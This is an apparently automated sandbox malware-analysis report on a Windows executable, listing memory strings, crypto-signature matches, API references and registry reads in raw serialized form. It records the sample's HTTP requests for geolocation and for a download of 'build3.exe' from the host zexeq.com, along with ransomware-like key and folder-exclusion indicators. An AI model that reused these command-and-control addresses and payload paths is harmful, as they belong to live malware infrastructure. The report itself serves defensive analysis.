00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "invalid public key" (Indicator: "public key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "private key decode error" (Indicator: "private key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "private key encode error" (Indicator: "private key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "public key not rsa" (Indicator: "public key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "unsupported private key algorithm" (Indicator: "private key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "error converting private key" (Indicator: "private key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "expecting private key blob" (Indicator: "private key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp")2c:T63a,Contains base64 string in header "/geo" in header "GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua" Contains base64 string in header "json" in header "GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua" Contains base64 string in header "Internet" in header "GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua" Contains base64 string in header "ExplorerHost" in header "GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua" Contains base64 string in header "B26C03561AFB3219181D305A741E63EC" in header "GET /raud/get.php?pid=B26C03561AFB3219181D305A741E63EC&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com" Contains base64 string in header "true" in header "GET /raud/get.php?pid=B26C03561AFB3219181D305A741E63EC&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com" Contains base64 string in header "Internet" in header "GET /raud/get.php?pid=B26C03561AFB3219181D305A741E63EC&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com" Contains base64 string in header "ExplorerHost" in header "GET /raud/get.php?pid=B26C03561AFB3219181D305A741E63EC&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com" Contains base64 string in header "Internet" in header "GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com" Contains base64 string in header "ExplorerHost" in header "GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com"2d:T59a,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Found XOR operators (encryption/decryption) Matched sigs: Contains ability to attach base64 encoded attachment to an email Matched sigs: Contains ability to import cryptographic keys (seen in ransomware) Matched sigs: Possibly contains Public/Private key (encryption) Matched sigs: Contains ability to encrypt/encode message (API string) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to use AES encryption instructions Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: HTTP requests contain Base64 strings Matched sigs: HTTP request contains Base64 encoded artifacts Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains reference to cryptographic keys Matched sigs: Reads the cryptographic machine GUID Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - AES encryption2e:T2afe,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000070000009e292b7780e4b7020000000028000000240000000000b60208efaf000000000000000000000000000000000000000000d0077e0030000000000000000700000000007e00a4eeaf00ed006771000000000000000008e3b70238b0b60207000000000000002000000000007e00d0017e00ac0b7e0000000000a80b7e004800000000efaf0050f52a7780e4b70268efaf00b4efaf00 (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000068d2e40538cf2b77f4347f00d4d2e40501000000a8347f00f4347f00a8347f00040000000400000000e0c27400100000d4d2e40501000000a8347f00cd972b779c972b7761a0c7eab50fb974a8347f0000002b77000000002410de6e0000000080eebf740100000000000000f8e2c2740000000004000000000000004840c174f8e2c274d8d2e40580e80f7460957f0080e80f74d4d2e4050000000080e80f7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000066a8b001c6a8b00 (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000fe1b8d00161c8d00 (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000009e338d00b2338d00 (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000009e338d00b6338d00 (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000004e738b0064738b00 (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000ee368d0006378d00 (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000016368d002e368d00 (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000180000009eee3e1b338e667128052f0187002c7780f42f01d0bb6671328d796bfefffffff0f32f018c756571a0f32f0158f42f0100000000a575657158f42f01ffffffffffffffff230000000000000058f42f01000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff230000000000000058f42f01000000001c0000000000000000000000000000000000000076ee3e1b90f42f01 (UID: 00000000-00004868)2f:T612,Found reference to API "FindFirstVolumeMountPointA" (Indicator: "FindFirstVolume"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "FindFirstVolumeMountPointA" (Indicator: "FindFirstVolumeMountPoint"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetVolumePathNameW" (Indicator: "GetVolumePathName"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetVolumePathNameW" (Indicator: "GetVolumePathName"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "FindFirstVolumeMountPointA" (Indicator: "FindFirstVolume"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "FindFirstVolumeMountPointA" (Indicator: "FindFirstVolumeMountPoint"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetVolumePathNameW" (Indicator: "GetVolumePathName"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "FindFirstVolumeMountPointA" (Indicator: "FindFirstVolume"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "FindFirstVolumeMountPointA" (Indicator: "FindFirstVolumeMountPoint"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetVolumePathNameW" (Indicator: "GetVolumePathName"; Source: "00000000-00005112.00000002.155651.05810000.00000004.mdmp")30:T467,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp")31:Teb5,Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp")32:T4d1,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp")33:T425,Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00005112.00000002.155651.05810000.00000004.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00005112.00000002.155651.05810000.00000004.mdmp")34:T467,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp")35:Tf71,Found string "%username%" (Indicator: "%username%"; File: "00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "%username%" (Indicator: "%username%"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "\%username%\" (Indicator: "%username%"; Source: "00000000-00005112.00000001.153729.02BF0000.00000004.mdmp, 00000000-00005112.00000002.155651.02BF0000.00000004.mdmp") Found string "D:\Users\%username%\AppData\Local\" (Indicator: "%username%"; Source: "00000000-00005112.00000001.153729.02BF0000.00000004.mdmp, 00000000-00005112.00000002.155651.02BF0000.00000004.mdmp") Found string "E:\Users\%username%\AppData\Roaming\" (Indicator: "%username%"; Source: "00000000-00005112.00000001.153729.02BF0000.00000004.mdmp, 00000000-00005112.00000002.155651.02BF0000.00000004.mdmp") Found string "F:\Users\%username%\AppData\Roaming\" (Indicator: "%username%"; Source: "00000000-00005112.00000001.153729.02BF0000.00000004.mdmp, 00000000-00005112.00000002.155651.02BF0000.00000004.mdmp") Found string "F:\Users\%username%\AppData\Local\" (Indicator: "%username%"; Source: "00000000-00005112.00000001.153729.02BF0000.00000004.mdmp, 00000000-00005112.00000002.155651.02BF0000.00000004.mdmp") Found string "C:\Users\%username%\AppData\Roaming\" (Indicator: "%username%"; Source: "00000000-00005112.00000001.153729.02BF0000.00000004.mdmp, 00000000-00005112.00000002.155651.02BF0000.00000004.mdmp") Found string "E:\Users\%username%\AppData\Local\" (Indicator: "%username%"; Source: "00000000-00005112.00000001.153729.02BF0000.00000004.mdmp, 00000000-00005112.00000002.155651.02BF0000.00000004.mdmp") Found string "D:\Users\%username%\AppData\Roaming\" (Indicator: "%username%"; Source: "00000000-00005112.00000001.153729.02BF0000.00000004.mdmp, 00000000-00005112.00000002.155651.02BF0000.00000004.mdmp") Found string "C:\Users\%username%\AppData\Local\" (Indicator: "%username%"; Source: "00000000-00005112.00000001.153729.02BF0000.00000004.mdmp, 00000000-00005112.00000002.155651.02BF0000.00000004.mdmp") file/memory contains long string with (Indicator: "%username%"; Source: "00000000-00005112.00000001.153729.02BF0000.00000004.mdmp, 00000000-00005112.00000002.155651.02BF0000.00000004.mdmp") Found string "ppData\Roaming\|C:\Users\%username%\AppData\Local\|C:\Windows\|C:\PerfLogs\|C:\ProgramData\Microsoft\|C:\ProgramData\Package Cache\|C:\Users\Public\|C" (Indicator: "%username%"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp, 00000000-00005112.00000002.155651.05960000.00000004.mdmp") Found string "lic\|C:\Users\All Users\|C:\Users\Default\|C:\Documents and Settings\|C:\ProgramData\|C:\Recovery\|C:\System Volume Information\|C:\Users\%username%\A" (Indicator: "%username%"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp, 00000000-00005112.00000002.155651.05960000.00000004.mdmp") Found string "e%\AppData\Roaming\|D:\Users\%username%\AppData\Local\|D:\Windows\|D:\PerfLogs\|D:\ProgramData\Desktop\|D:\ProgramData\Microsoft\|D:\ProgramData\Packa" (Indicator: "%username%"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp, 00000000-00005112.00000002.155651.05960000.00000004.mdmp") Found string "Games\|F:\Users\%username%\AppData\Roaming\|F:\Users\%username%\AppData\Local\|F:\Windows\|F:\PerfLogs\|F:\ProgramData\Desktop\|F:\ProgramData\Microso" (Indicator: "%username%"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp, 00000000-00005112.00000002.155651.05960000.00000004.mdmp") Found string "ers\%username%\AppData\Roaming\|E:\Users\%username%\AppData\Local\|E:\Windows\|E:\PerfLogs\|E:\ProgramData\Desktop\|E:\ProgramData\Microsoft\|E:\Progr" (Indicator: "%username%"; Source: "00000000-00005112.00000001.153729.0596A000.00000004.mdmp, 00000000-00005112.00000002.155651.05960000.00000004.mdmp")36:Td68,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") 